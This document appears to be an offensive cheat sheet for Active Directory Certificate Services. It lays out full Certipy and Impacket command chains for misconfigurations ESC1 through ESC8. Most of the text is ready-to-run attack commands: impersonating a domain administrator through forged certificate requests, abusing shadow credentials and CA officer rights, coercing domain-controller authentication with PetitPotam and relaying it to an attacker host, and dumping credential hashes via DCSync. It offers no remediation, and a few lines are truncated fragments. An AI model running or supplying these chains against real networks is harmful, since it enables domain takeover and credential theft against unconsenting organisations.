AD CS ESC1βESC8 Attack Chains
Complete Certipy-driven exploitation of all 8 Active Directory Certificate Services misconfigurations β from vulnerable template enrollment to CA private key theft.
General Workflow
# Step 1: Find all vulnerable templates
certipy find -u 'user@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout
# Step 2: Identify ESC type from output
# Step 3: Request certificate exploiting the ESC
# Step 4: Authenticate with certificate to get TGT or NT hash
certipy auth -pfx admin.pfx -dc-ip 10.10.10.5
# Output: NT hash for the impersonated user
ESC1 β Template Allows Enrollee-Supplied SAN
Condition: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + any domain user can enroll + Client Authentication EKU.
# Request certificate as Domain Admin (supply UPN of DA in SAN)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'VulnerableTemplate' -upn 'administrator@corp.local' -dc-ip 10.10.10.5
# Authenticate with resulting pfx to get DA hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
# β NT hash: aad3b435b51404eeaad3b435b51404ee:8f617b...
# Use hash with secretsdump
impacket-secretsdump corp.local/administrator@10.10.10.5 -hashes :8f617b...
ESC2 β Any Purpose EKU or No EKU
Condition: Template has Any Purpose EKU or no EKU at all. Can be used as enrollment agent certificate.
# Request Any Purpose cert
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'AnyPurposeTemplate' -dc-ip 10.10.10.5
# Use as enrollment agent (treat like ESC3 second step)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'User' -on-behalf-of 'corp\administrator' \
-pfx anyPurpose.pfx -dc-ip 10.10.10.5
ESC3 β Enrollment Agent Certificates
Condition: Two templates β one with Certificate Request Agent EKU, another allowing enrollment agent certificates.
# Step 1: Get enrollment agent cert
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'EnrollmentAgentTemplate' -dc-ip 10.10.10.5
# Step 2: Request cert on behalf of DA using enrollment agent
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'User' -on-behalf-of 'corp\administrator' \
-pfx jdoe.pfx -dc-ip 10.10.10.5
# Step 3: Auth as DA
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
ESC4 β Write Privileges Over Certificate Template
Condition: Domain user has WriteProperty or WriteDACL on a template object. Convert template to ESC1.
# Modify template to add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
certipy template -u 'jdoe@corp.local' -p 'Password1!' \
-template 'TargetTemplate' -save-old -dc-ip 10.10.10.5
# Now exploit as ESC1
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'TargetTemplate' -upn 'administrator@corp.local' -dc-ip 10.10.10.5
# Restore original template
certipy template -u 'jdoe@corp.local' -p 'Password1!' -template 'TargetTemplate' -configuration TargetTemplate.json -dc-ip 10.10.10.5
ESC5 β PKI Object Access Control
Condition: A principal has dangerous rights (GenericAll, GenericWrite, WriteDacl, WriteOwner) over PKI-related objects: the CA server computer object, the NTAuthCertificates container, or the Cert Publishers group. Compromising these objects enables escalation to full CA control.
ESC5 is not a standalone attack β it is a path to gaining ManageCA or ManageCertificates rights, which then enables ESC7.
Scenario: GenericWrite on CA Computer Object
# Identify: BloodHound β find GenericWrite/GenericAll edges to the CA computer object
# Example: your user has GenericWrite on the CA server computer object "CERTSRV$"
# Step 1: Configure shadow credentials on the CA computer object
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
-account 'CERTSRV$' -dc-ip 10.10.10.5
# β NT hash of CERTSRV$ machine account
# Step 2: Authenticate as the CA machine account
export KRB5CCNAME='CERTSRV$.ccache'
# Step 3: With the CA machine account, you have ManageCA rights on the CA itself
# Now proceed with ESC7 β add officer, enable SubCA template, request + issue cert
certipy ca -u 'CERTSRV$@corp.local' -hashes : -ca 'CORP-CA' \
-add-officer 'CERTSRV$' -dc-ip 10.10.10.5
Scenario: GenericWrite on Cert Publishers Group
# Cert Publishers group members can publish certificates to AD
# Adding yourself enables publishing of custom certs (enables manual PKINIT paths)
# PowerView β add your user to Cert Publishers
Add-DomainGroupMember -Identity 'Cert Publishers' -Members 'jdoe' -Credential $cred
# Or via net rpc:
net rpc group addmem "Cert Publishers" "jdoe" \
-U corp.local/jdoe%'Password1!' -S 10.10.10.5
certsrv or similar). The resulting access typically leads to ESC7 exploitation β treat ESC5 as "path to ESC7."
ESC6 β CA EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set β any template allowing enrollment can include arbitrary SAN.
# Check CA flag
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -stdout | grep -i "editf"
# Request any enrollable cert with DA SAN
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-template 'User' -upn 'administrator@corp.local' -dc-ip 10.10.10.5
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
ESC7 β CA Officer / Manager Rights
Condition: User has ManageCertificates or ManageCA rights on the CA itself.
# Grant self Officer rights (with ManageCA)
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-add-officer jdoe -dc-ip 10.10.10.5
# Enable a disabled dangerous template
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
-enable-template 'SubCA' -dc-ip 10.10.10.5
# Request cert from SubCA as admin (Failed, needs approval)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' -template 'SubCA' -upn 'administrator@corp.local' -dc-ip 10.10.10.5
# Issue the failed request with ManageCertificates rights
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' -issue-request -dc-ip 10.10.10.5
# Retrieve the issued certificate
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' -retrieve -dc-ip 10.10.10.5
ESC8 β NTLM Relay to AD CS Web Enrollment
Condition: CA has web enrollment enabled (/certsrv) and doesn't require HTTPS or EPA.
# Check if web enrollment exists
curl -k http://10.10.10.5/certsrv/
# Use PetitPotam or PrinterBug to coerce DC authentication
# Relay to CA web enrollment to get DC certificate
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp \
-smb2support --adcs --template 'DomainController'
# Coerce DC$ to authenticate to you
python3 PetitPotam.py -u 'jdoe' -p 'Password1!' KALI_IP DC_IP
# ntlmrelayx outputs base64 cert β save as dc.pfx
# Use DC cert to dump hashes via DCSync
certipy auth -pfx dc.pfx -dc-ip 10.10.10.5
impacket-secretsdump -just-dc-ntlm corp.local/DC$@10.10.10.5 \
-hashes :<NT hash from certipy auth>
certipy find -vulnerable immediately after getting domain creds. The output tells you exactly which ESC applies.